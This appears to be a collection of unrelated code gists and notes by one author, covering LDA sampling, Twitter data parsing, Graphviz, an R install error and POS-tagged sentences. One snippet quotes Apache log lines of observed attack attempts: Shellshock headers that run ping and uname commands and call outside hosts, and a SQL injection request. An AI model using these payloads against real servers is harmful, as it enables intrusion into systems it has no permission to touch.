brendano

# by brendan o'connor (http://brenocon.com) written in early 2012
# parallelized collapsed gibbs sampling for LDA with threads in cython
# need to delete these lines to get the cython instructions to work...

#cython: boundscheck=False, cdivision=True
# vim:sts=4:sw=4
import numpy as np
cimport numpy as np
cimport cython
cimport openmp

brendano

For example for data looking like

qwerasdvzxcasdf  0.62s user 18.55s system 92% cpu 20.678 total
asdfasdf 838.56s user 10.75s system 100% cpu 14:08.98 total
acvzxcvzxcv 3:15:12.2 total
asdfadsf 0.22s user 6.24s system 0% cpu 16:01.30 total

output those 4 numbers in seconds

20.678

brendano

brendano

#!/usr/bin/env python
import sys,os,re,json
from hose_util import iterate, lookup
# import geodb

# country_db = geodb.GeoDB.load_geojson_files(['/home/brenocon/geocode/tm_world_borders-0.3.json'])

OneCoord = r'([-+]?\d{1,3}\.\d{3,})'
Separator= r', ?'
LatLong = re.compile(OneCoord + Separator + OneCoord, re.U)

brendano

#!/usr/bin/env python
import ujson as json
import time,sys
from datetime import datetime

def parse_date(twitter_lame_datetime_string):
  # e.g. the 'created_at' field
  ts = time.strptime(twitter_lame_datetime_string, "%a %b %d %H:%M:%S +0000 %Y")
  return datetime(*ts[:7])

brendano

Shellshock attack attempts I noticed in apache logs, from grep '()' ... the shellshock-scan one I think I initiated but I think the rest are attack attempts.
 
 
209.126.230.72 - - [24/Sep/2014:22:55:07 -0400] "GET / HTTP/1.0" 301 - "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
94.228.220.68 - - [25/Sep/2014:01:17:15 -0400] "GET /index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,4,5,group_concat(0x3C6B65793E,version(),0x3C6B6579733E)-- HTTP/1.1" 200 31516 "-" "-"
89.207.135.125 - - [25/Sep/2014:06:59:58 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 302 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
198.20.69.74 - - [25/Sep/2014:17:14:32 -0400] "GET / HTTP/1.1" 301 - "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69"
54.251.83.67 - - [26/Sep/2014:15:55:50 -0400] "GET / HTTP/1.1" 301 - "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
114.91.105.103 - -

brendano

~ % cat bla
digraph A {
    0 [label = "hello\\"]
}

~ % dot -Tpdf bla > out.pdf

===> http://brenocon.com/20141005_dot.pdf

brendano

NLP and source code papers, very scattered and partial listing
(collected by Nathan Schneider and Brendan O'Connor)


ICML 2014
Maddison and Tarlow
Structured Generative Models of Natural Source Code
http://jmlr.org/proceedings/papers/v32/maddison14.pdf

ACL 2013

brendano

% R
R version 2.15.3 (2013-03-01) -- "Security Blanket"

> library(devtools)
> devtools::install_github("hadley/tidyr")
Installing github repo(s) hadley/tidyr/master from hadley
Installing hadley/tidyr.zip from https://github.com/hadley/hadley/tidyr/archive/master.zip
Error: client error: (404) Not Found

> library(help=devtools)

brendano

MD	Could he plausibly interpret it as encouragement for the Fed to give primary emphasis to stabilizing the price level ?
MD	Should they be required to pay claims based on exorbitant costs for labor and materials ?
MD	Will Ogonyok begin a series of reports analyzing the failures of perestroika ?
MD	Will he try to gain a seat on or control of the board and force a radical split of USX into separate oil and steel companies ?
MD	Would n't the Japanese like a piece of it ?
VB	CALL IT un-advertising .
VB	Consider the fact that a mere 2 % drop in ozone would increase birth defects and mutations by allowing solar radiation to alter the DNA structure .
VB	Consider the facts underlying the 1989 conviction of Robert Chestman .
VB	Consider this :
VB	Enter Mr. Guzman Cabrera , who has a clear understanding of where union leaders fit in the pro-enterprise regime of President Salinas .